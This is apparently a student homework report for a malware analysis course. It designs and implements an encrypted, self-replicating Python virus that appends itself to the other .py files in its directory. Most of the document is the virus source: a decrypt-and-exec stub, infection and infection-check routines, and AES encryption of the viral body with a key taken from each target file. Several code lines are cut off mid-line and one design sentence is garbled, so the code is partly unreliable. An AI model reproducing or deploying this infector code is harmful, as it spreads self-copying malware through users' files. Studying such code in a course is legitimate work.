Malware analysis and design
Homework No. 3

Vincenzo Arceri VR386484
Giovanni Liboni VR387955
Alberto Marini

May 20, 2016

1 Introduction

The purpose is to design a virus similar to the *vbash* one, except that it will be encrypted. Its structure is divided in two parts:

- The first part of the code will be unencrypted and will simply consist of the decryption function. The key will be made of the first bytes of the infected virus.
- The second part (the most important one) will consist of the main body of the virus.

The virus will be an appending one. It will spread as follows:

- It looks for infected is executed.
- During the infection, it creates a specific key for each file (once again, a few bytes are taken from the target file), then encrypts its own main body and adds both the decrypting routine and the (encrypted) main viral body to the target file.
- A potential payload may be triggered (with or without a delayed action mechanism).

2 Virus design

3 Implementation

```
# Open the virus itself
this = open(__main__.__file__, 'r')
# Set copy variable to False
```

```
copy = False
# Initialize an empty payload
cipher_payload = ''

# Search for the encrypted main body of the virus and copy it into cipher_payload
for line in this:
   if line.strip() == '# Start payload':
      copy = True
   elif line.strip() == '# End payload':
      copy = False
   elif copy:
      cipher_payload = cipher_payload + line
# Decrypt the main body of the virus and execute it.
e = decrypt(cipher_payload[1:])
exec e

# Encrypted main body of the virus
# Start payload
#8eoDXnZwwdY/TUaf5IQOo5+tbvE2zllu4tOm...
# End payload
```

```
def is_infected(filename):
   f = open(filename, 'r')
   lines = f.readlines()
   if len(lines) < 46:
      return False
   #print len(lines)
   #print lines[len(lines) - 46]
   return lines[len(lines) - 46].startswith('########################################

def infect(filename):
   os.rename(filename, filename + '-copy')

   destination = open(filename, 'w')
   source = open(filename + '-copy', 'r')
   this = open(__main__.__file__, 'r')

   # Append the original file
   for line in source:
      destination.write(line)

   destination.write("\n############################################################ Fi
   destination.write("# coding=utf-8\n")
   destination.write("# Start Uncrypted\n")

   copy = False
   result = ''
   for line in this:
      if line.strip() == '# Start Uncrypted':
         copy = True
      elif line.strip() == '# End Uncrypted':
         destination.write('# End Uncrypted')
         copy = False
```

```
33          elif copy:
34              destination.write(line);
35
36      destination.write("\n# Start payload\n")
37      destination.write("#")
38      destination.write(str(encrypt(e, filename)))
39      destination.write("\n# End payload")
40
41      os.remove(filename + '-copy')
42      source.close()
43      destination.close()
44      this.close()
45
46  def find_and_infect_files():
47      path = '.'
48      # Lists all files inside current directory
49      dirs = os.listdir(path)
50
51      # For each file try to infect it
52      for filename in dirs:
53          # If
54          if filename.endswith('.py') and (not is_infected(filename)) and (filename != '
55              print "Infected " +  str(filename)
56              infect(filename)
57
58  def encrypt(data,filename):
59      source = open(filename + '-copy', 'r')
60
61      iv = Random.new().read(AES.block_size)
62      cipher = AES.new(StringIO.StringIO(source).read(24), AES.MODE_CFB, iv)
63      encrypted = iv + cipher.encrypt(data)
64
65      source.close()
66      return base64.b64encode(encrypted)
67   ####################
68
69  def payload():
70      print "This file is infected infected! Mhuahauhauahau!"
71
72  # Find and infect files
73  find_and_infect_files()
74  # Execute the payload
75  payload()
```